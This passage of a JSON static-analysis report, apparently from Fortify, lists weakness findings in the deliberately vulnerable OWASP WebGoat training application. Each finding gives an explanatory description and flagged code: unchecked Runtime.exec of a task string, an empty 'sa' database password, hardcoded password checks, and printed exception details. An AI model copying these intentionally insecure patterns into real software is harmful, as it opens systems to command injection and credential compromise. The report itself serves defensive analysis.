key=\"PrimaryLocation.file\"/> sometimes fails to release a system resource allocated by <Replace key=\"FirstTransitionFunction\"/> on line <Replace key=\"FirstTraceLocation.line\"/>.<AltParagraph>The program can potentially fail to release a system resource.</AltParagraph></Paragraph></Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/Salaries.java\nStartLine: 64, EndLine: 70\nCode:\nif (!targetDirectory.exists()) {\n            targetDirectory.mkdir();\n        }\n        FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, \"employees.xml\")));\n    }\n\n    @RequestMapping(produces = {\"application/json\"})","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/Salaries.java\nStartLine: 65, EndLine: 71\nCode:\ntargetDirectory.mkdir();\n        }\n        FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, \"employees.xml\")));\n    }\n\n    @RequestMapping(produces = {\"application/json\"})\n    @ResponseBody","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java\nStartLine: 53, EndLine: 59\nCode:\ntry {\n            StringBuffer html = new StringBuffer();\n\n            if (url.matches(\"http://ifconfig.pro\")) {\n                URL u = new URL(url);\n                URLConnection urlConnection = u.openConnection();\n                BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java\nStartLine: 56, EndLine: 62\nCode:\nif (url.matches(\"http://ifconfig.pro\")) {\n                URL u = new URL(url);\n                URLConnection urlConnection = u.openConnection();\n                BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));\n                String inputLine;\n\n                while ((inputLine = in.readLine()) != null) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java\nStartLine: 59, EndLine: 65\nCode:\nBufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));\n                String inputLine;\n\n                while ((inputLine = in.readLine()) != null) {\n                    html.append(inputLine);\n                }\n                in.close();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/MD5.java\nStartLine: 180, EndLine: 186\nCode:\n* @since ostermillerutils 1.00.00\n     */\n    public static String getHashString(File f) throws IOException {\n        InputStream is = new FileInputStream(f);\n        String hash = getHashString(is);\n        is.close();\n        return hash;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/MD5.java\nStartLine: 181, EndLine: 187\nCode:\n*/\n    public static String getHashString(File f) throws IOException {\n        InputStream is = new FileInputStream(f);\n        String hash = getHashString(is);\n        is.close();\n        return hash;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/MD5.java\nStartLine: 165, EndLine: 171\nCode:\n* @since ostermillerutils 1.00.00\n     */\n    public static byte[] getHash(File f) throws IOException {\n        InputStream is = new FileInputStream(f);\n        byte[] hash = getHash(is);\n        is.close();\n        return hash;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/MD5.java\nStartLine: 166, EndLine: 172\nCode:\n*/\n    public static byte[] getHash(File f) throws IOException {\n        InputStream is = new FileInputStream(f);\n        byte[] hash = getHash(is);\n        is.close();\n        return hash;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/Salaries.java\nStartLine: 74, EndLine: 80\nCode:\nFile d = new File(webGoatHomeDirectory, \"ClientSideFiltering/employees.xml\");\n        XPathFactory factory = XPathFactory.newInstance();\n        XPath xPath = factory.newXPath();\n        InputSource inputSource = new InputSource(new FileInputStream(d));\n\n        StringBuffer sb = new StringBuffer();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/Salaries.java\nStartLine: 102, EndLine: 108\nCode:\nNode node = nodes.item(i);\n            employeeJson.put(node.getNodeName(), node.getTextContent());\n        }\n        return json;\n    }\n\n//    @Override","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/Salaries.java\nStartLine: 94, EndLine: 100\nCode:\nint COLUMNS = 5;\n        List json = Lists.newArrayList();\n        java.util.Map<String, Object> employeeJson = Maps.newHashMap();\n        for (int i = 0; i < nodes.getLength(); i++) {\n            if (i % COLUMNS == 0) {\n                employeeJson = Maps.newHashMap();\n                json.add(employeeJson);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/Salaries.java\nStartLine: 100, EndLine: 106\nCode:\njson.add(employeeJson);\n            }\n            Node node = nodes.item(i);\n            employeeJson.put(node.getNodeName(), node.getTextContent());\n        }\n        return json;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-5","Rev_4"]}},{"id":"DCA98C06-0D99-4EE0-ADA4-A4FA86FDE47A","desc":"<Content>An internal information leak occurs when system data or debugging information is sent to a local file, console, or screen via printing or logging.\n\n<Paragraph>\nIn this case, <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> is called in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example 1:</b> The following code writes an exception to the standard error stream:\n\n<pre>\ntry {\n    ...\n} catch (Exception e) {\n    e.printStackTrace();\n}\n</pre>\n\nDepending upon the system configuration, this information can be dumped to a console, written to a log file, or exposed to a user. In some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In <code>Example 1</code>, the leaked information could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.\n\nIn the mobile world, information leaks are also a concern.\n\n<b>Example 2:</b> The following code logs the stack trace of a caught exception on the Android platform.\n<pre>\n...\ntry {\n  ...\n} catch (Exception e) {\n    Log.e(TAG, Log.getStackTraceString(e));\n}\n...\n</pre></Content>","title":"<Content><Paragraph>The function <Replace key=\"EnclosingFunction.name\"/> in <Replace key=\"PrimaryLocation.file\"/> might reveal system data or debugging information by calling <Replace key=\"PrimaryCall.name\"/> on line <Replace key=\"PrimaryLocation.line\"/>. The information revealed by <Replace key=\"PrimaryCall.name\"/> could help an adversary form a plan of attack.<AltParagraph>Revealing system data or debugging information helps an adversary learn about the system and form a plan of attack.</AltParagraph></Paragraph></Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 276, EndLine: 282\nCode:\n+ \"cc_type varchar(10),\" + \"cookie varchar(20),\" + \"login_count int\" + \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating user table \" + e.getLocalizedMessage());\n        }\n\n        // Populate it","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 168, EndLine: 174\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating mfe_images table in database \" + e.getLocalizedMessage());\n        }\n\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 395, EndLine: 401\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating salaries table \" + e.getLocalizedMessage());\n        }\n\n        // Populate it","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 89, EndLine: 95\nCode:\nif (error_msg.contains(\"object not found: ACCESS_LOG\")) {\n                return false;\n            } else {\n                System.err.println(e.getMessage());\n                return false;\n            }\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 77, EndLine: 83\nCode:\nstatement.executeUpdate(insertData4);\n            statement.executeUpdate(insertData5);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating product table \" + e.getLocalizedMessage());\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson8.java\nStartLine: 129, EndLine: 135\nCode:\nStatement statement = connection.createStatement();\n            statement.executeUpdate(log_query);\n        } catch (SQLException e) {\n            System.err.println(e.getMessage());\n        }\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 437, EndLine: 443\nCode:\n+ \"max_temp int not null\" + \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating weather table \" + e.getLocalizedMessage());\n        }\n\n        // Populate it","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 480, EndLine: 486\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating user_data_tan table \" + e.getLocalizedMessage());\n        }\n\n        // Populate it","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 583, EndLine: 589\nCode:\nstatement.executeUpdate(createTable);\n        } catch (SQLException e) {\n            System.out.println(\"Error: unable to create employee table \" + e.getLocalizedMessage());\n        }\n\n        String insertData1 = \"INSERT INTO employee VALUES (101, 'Larry', 'Stooge', '386-09-5451', 'larry',\"","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 953, EndLine: 959\nCode:\nstatement.executeUpdate(createTable);\n        } catch (SQLException e) {\n            System.out.println(\"Error: unable to create transactions table: \" + e.getLocalizedMessage());\n            throw e;\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 710, EndLine: 716\nCode:\nstatement.executeUpdate(createTable);\n        } catch (SQLException e) {\n            System.out.println(\"Error: unable to create auth table: \" + e.getLocalizedMessage());\n        }\n\n        String insertData1 = \"INSERT INTO auth VALUES('employee', 'Logout')\";","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 1012, EndLine: 1018\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating employees table \" + e.getLocalizedMessage());\n        }\n\n        // Populate","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 516, EndLine: 522\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating tan table \" + e.getLocalizedMessage());\n        }\n\n        // Populate it","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 356, EndLine: 362\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating pins table \" + e.getLocalizedMessage());\n        }\n\n        // Populate it","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/MD5.java\nStartLine: 54, EndLine: 60\nCode:\ntry {\n                    System.out.println(MD5.getHashString(new File(element)) + \" \" + element);\n                } catch (IOException x) {\n                    System.err.println(x.getMessage());\n                }\n            }\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 139, EndLine: 145\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating message database \" + e.getLocalizedMessage());\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 97, EndLine: 103\nCode:\n}\n\n        } catch (SQLException e) {\n            System.err.println(e.getMessage());\n            return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 812, EndLine: 818\nCode:\nstatement.executeUpdate(createTable);\n        } catch (SQLException e) {\n            System.out.println(\"Error: unable to create ownership table: \" + e.getLocalizedMessage());\n        }\n\n        String inputData = \"INSERT INTO ownership VALUES (112, 101)\";","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 236, EndLine: 242\nCode:\n+ \"user_name varchar(12),\" + \"password varchar(10),\" + \"cookie varchar(30)\" + \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating user admin table \" + e.getLocalizedMessage());\n        }\n\n        // Populate","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 972, EndLine: 978\nCode:\nstatement.executeUpdate(\"INSERT INTO Transactions VALUES (\" + data[i] + \");\");\n            }\n        } catch (SQLException sqle) {\n            System.out.println(\"Error: Unable to insert transactions:  \" + sqle.getLocalizedMessage());\n            int errorCode = sqle.getErrorCode();\n            System.out.println(\"Error Code: \" + errorCode);\n            // ignore exceptions for Oracle and SQL Server","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 1036, EndLine: 1042\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating access_log table \" + e.getLocalizedMessage());\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 69, EndLine: 75\nCode:\n}\n            } catch (SQLException e) {\n                System.err.println(e.getMessage());\n                return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n            }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 76, EndLine: 82\nCode:\nreturn checkSalaryRanking(connection, output);\n\n        } catch (Exception e) {\n            System.err.println(e.getMessage());\n            return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 197, EndLine: 203\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating product table \" + e.getLocalizedMessage());\n        }\n\n        // Populate","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 110, EndLine: 116\nCode:\nstatement.executeUpdate(insertData1);\n            statement.executeUpdate(insertData2);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating product table \" + e.getLocalizedMessage());\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 330, EndLine: 336\nCode:\n+ \"webgoat_user varchar(20)\" + \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating user_login table \" + e.getLocalizedMessage());\n        }\n\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 664, EndLine: 670\nCode:\nstatement.executeUpdate(createTable);\n        } catch (SQLException e) {\n            System.out.println(\"Error: Unable to create role table: \" + e.getLocalizedMessage());\n        }\n\n        String insertData1 = \"INSERT INTO roles VALUES (101, 'employee')\";","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["AC-4","Rev_4"]}},{"id":"dc8326ad-41eb-4ca9-a3de-f526fd17c936","desc":"<Content>It is never a good idea to assign an empty string to a password variable. If the empty password is used to successfully authenticate against another system, then the corresponding account's security is likely compromised because it accepts an empty password. If the empty password is merely a placeholder until a legitimate value can be assigned to the variable, then it can confuse anyone unfamiliar with the code and potentially cause problems on unexpected control flow paths.\n\n<Paragraph>\nIn this case, an empty password was found in the call to <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example 1:</b> The following code attempts to connect to a database with an empty password.\n<pre>\n    ...\n    DriverManager.getConnection(url, \"scott\", \"\");\n    ...\n</pre>\n\nIf the code in <code>Example 1</code> succeeds, it indicates that the database user account \"scott\" is configured with an empty password, which an attacker can easily guess. After the program ships, updating the account to use a non-empty password will require a code change.\n\n<b>Example 2:</b> The following code initializes a password variable to an empty string, attempts to read a stored value for the password, and compares it against a user-supplied value.\n\n<pre>\n    ...\n    String storedPassword = \"\";\n    String temp;\n\n    if ((temp = readPassword()) != null) {\n        storedPassword = temp;\n    }\n\n    if(storedPassword.equals(userPassword))\n        // Access protected resources\n        ...\n    }\n    ...\n</pre>\n\nIf <code>readPassword()</code> fails to retrieve the stored password due to a database error or another problem, then an attacker could trivially bypass the password check by providing an empty string for <code>userPassword</code>.\n\nIn the mobile environment, password management is especially important given that there is such a high chance of device loss.\n<b>Example 3:</b> The following code initializes username and password variables to empty strings, reads credentials from an Android WebView store if they have not been previously rejected by the server for the current request, and uses them to setup authentication for viewing protected pages.\n<pre>\n...\nwebview.setWebViewClient(new WebViewClient() {\n  public void onReceivedHttpAuthRequest(WebView view,\n        HttpAuthHandler handler, String host, String realm) {\n    String username = \"\";\n    String password = \"\";\n\n    if (handler.useHttpAuthUsernamePassword()) {\n      String[] credentials = view.getHttpAuthUsernamePassword(host, realm);\n      username = credentials[0];\n      password = credentials[1];\n    }\n    handler.proceed(username, password);\n  }\n});\n...\n</pre>\n\nSimilar to <code>Example 2</code>, if <code>useHttpAuthUsernamePassword()</code> returns <code>false</code>, an attacker will be able to view protected pages by supplying an empty password.</Content>","title":"<Content>Empty passwords may compromise system security in a way that cannot be easily remedied.</Content>","impact":0.8,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/DatabaseUtilities.java\nStartLine: 123, EndLine: 129\nCode:\nSQLException\n\t{\n\t\tString url = context.getDatabaseConnectionString().replace(\"{USER}\", user);\n\t\treturn DriverManager.getConnection(url, \"sa\", \"\");\n\t}\n\t\n}","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-28","Rev_4"]}},{"id":"EDD8E0B5-D8F2-4F56-A20B-549E3880318B","desc":"<Content>The J2EE standard requires that applications use the container's resource management facilities to obtain connections to resources.\n\nFor example, a J2EE application should obtain a database connection as follows:\n\n<pre>\nctx = new InitialContext();\ndatasource = (DataSource)ctx.lookup(DB_DATASRC_REF);\nconn = datasource.getConnection();\n</pre>\n\nand should avoid obtaining a connection in this way:\n\n<pre>\nconn = DriverManager.getConnection(CONNECT_STRING);\n</pre>\n\nEvery major web application container provides pooled database connection management as part of its resource management framework. Duplicating this functionality in an application is difficult and error prone, which is part of the reason it is forbidden under the J2EE standard.</Content>","title":"<Content>The J2EE standard forbids the direct management of connections.</Content>","impact":0.4,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/DatabaseUtilities.java\nStartLine: 123, EndLine: 129\nCode:\nSQLException\n\t{\n\t\tString url = context.getDatabaseConnectionString().replace(\"{USER}\", user);\n\t\treturn DriverManager.getConnection(url, \"sa\", \"\");\n\t}\n\t\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/DatabaseUtilities.java\nStartLine: 111, EndLine: 117\nCode:\nString userPrefix = context.getDatabaseUser();\n\t\tString password = context.getDatabasePassword();\n\t\tString url = context.getDatabaseConnectionString();\n\t\treturn DriverManager.getConnection(url, userPrefix + \"_\" + user, password);\n\t\t} catch (ClassNotFoundException cnfe)\n\t\t{\n\t\t\tcnfe.printStackTrace();","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["unmapped","Rev_4"]}},{"id":"69777D84-8507-40A7-9C2B-0B18E4A5EB0A","desc":"<Content>Command injection vulnerabilities take two forms:\n\n- An attacker can change the command that the program executes: the attacker explicitly controls what the command is.\n\n- An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means.\n\nIn this case, we are primarily concerned with the second scenario, the possibility that an attacker may be able to change the meaning of the command by changing an environment variable or by putting a malicious executable early in the search path. Command injection vulnerabilities of this type occur when:\n\n1. An attacker modifies an application's environment.\n\n2. The application executes a command without specifying an absolute path or verifying the binary being executed.\n<Paragraph>\nIn this case, the command is executed by <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n3. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.\n\n<b>Example:</b> The following code is from a web application that provides an interface through which users can update their password on the system. Part of the process for updating passwords in certain network environments is to run a <code>make</code> command in the <code>/var/yp</code> directory.\n\n<pre>\n...\nSystem.Runtime.getRuntime().exec(\"make\");\n...\n</pre>\n\nThe problem here is that the program does not specify an absolute path for make and fails to clean its environment prior to executing the call to <code>Runtime.exec()</code>. If an attacker can modify the <code>$PATH</code> variable to point to a malicious binary called <code>make</code> and then execute the application in their environment, the malicious binary will be loaded instead of the one intended. Because of the nature of the application, it runs with the privileges necessary to perform system operations, which means the attacker's <code>make</code> will now be run with these privileges, possibly giving them complete control of the system.</Content>","title":"<Content><Paragraph>The method <Replace key=\"EnclosingFunction.name\"/> in <Replace key=\"PrimaryLocation.file\"/> calls <Replace key=\"PrimaryCall.name\"/> to execute a command. This call might allow an attacker to inject malicious commands.<AltParagraph>Executing commands that include unvalidated user input can cause an application to execute malicious commands on behalf of an attacker.</AltParagraph></Paragraph></Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\nStartLine: 53, EndLine: 59\nCode:\n&& taskAction.length() < 22) {\n\t\tSystem.out.println(\"about to execute: \"+taskAction);\n\t\ttry {\n            Process p = Runtime.getRuntime().exec(taskAction);\n            BufferedReader in = new BufferedReader(\n                                new InputStreamReader(p.getInputStream()));\n            String line = null;","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SI-10","Rev_4"]}},{"id":"F9D3C462-8D1E-4457-967F-9F082B973F88","desc":"<Content>It is never a good idea to hardcode a password. Not only does hardcoding a password allow all of the project's developers to view the password, it also makes fixing the problem extremely difficult. After the code is in production, the password cannot be changed without patching the software. If the account protected by the password is compromised, the owners of the system must choose between security and availability.\n<Paragraph>\nIn this case, a hardcoded password was found in the call to <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example 1:</b> The following code uses a hardcoded password to connect to a database:\n\n<pre>\n...\nDriverManager.getConnection(url, \"scott\", \"tiger\");\n...\n</pre>\n\nThis code will run successfully, but anyone who has access to it will have access to the password. After the program ships, there is likely no way to change the database user \"scott\" with a password of \"tiger\" unless the program is patched. An employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for the application they can use the <code>javap -c</code> command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for <code>Example 1</code>:\n\n<pre>\njavap -c ConnMngr.class\n\n22: ldc   #36; //String jdbc:mysql://ixne.com/rxsql\n24: ldc   #38; //String scott\n26: ldc   #17; //String tiger\n</pre>\n\nIn the mobile environment, password management is especially important given that there is such a high chance of device loss.\n<b>Example 2:</b> The following code uses hardcoded username and password to setup authentication for viewing protected pages with Android's WebView.\n<pre>\n...\nwebview.setWebViewClient(new WebViewClient() {\n  public void onReceivedHttpAuthRequest(WebView view,\n        HttpAuthHandler handler, String host, String realm) {\n    handler.proceed(\"guest\", \"allow\");\n  }\n});\n...\n</pre>\n\nSimilar to <code>Example 1</code>, this code will run successfully, but anyone who has access to it will have access to the password.</Content>","title":"<Content>Hardcoded passwords may compromise system security in a way that cannot be easily remedied.</Content>","impact":0.8,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/Assignment1.java\nStartLine: 46, EndLine: 52\nCode:\n@ResponseBody\n    public AttackResult completed(@RequestParam String username, @RequestParam String password, HttpServletRequest request) {\n        boolean ipAddressKnown =  true;\n        boolean passwordCorrect = \"admin\".equals(username) && PASSWORD.equals(password);\n        if (passwordCorrect && ipAddressKnown) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(1)).build();\n        } else if (passwordCorrect) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTRefreshEndpoint.java\nStartLine: 60, EndLine: 66\nCode:\nString user = (String) json.get(\"user\");\n        String password = (String) json.get(\"password\");\n\n        if (\"Jerry\".equals(user) && PASSWORD.equals(password)) {\n            return ResponseEntity.ok(createNewTokens(user));\n        }\n        return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-28","Rev_4"]}},{"id":"C7D64877-9D39-40E0-9510-5B7051F6E778","desc":"<Content>Many DNS servers are susceptible to spoofing attacks, so you should assume that your software will someday run in an environment with a compromised DNS server. If attackers are allowed to make DNS updates (sometimes called DNS cache poisoning), they can route your network traffic through their machines or make it appear as if their IP addresses are part of your domain. Do not base the security of your system on DNS names.\n<Paragraph>\nIn this case, DNS information enters the program at <Replace key=\"PrimaryCall.name\" link=\"PrimaryLocation\"/> in <Replace key=\"PrimaryLocation.file\"/> at line <Replace key=\"PrimaryLocation.line\"/>.\n</Paragraph>\n\n<b>Example:</b> The following code uses a DNS lookup to determine whether an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.\n\n<pre>\n String ip = request.getRemoteAddr();\n InetAddress addr = InetAddress.getByName(ip);\n if (addr.getCanonicalHostName().endsWith(\"trustme.com\")) {\n trusted = true;\n }\n</pre>\n\nIP addresses are more reliable than DNS names, but they can also be spoofed. Attackers may easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same 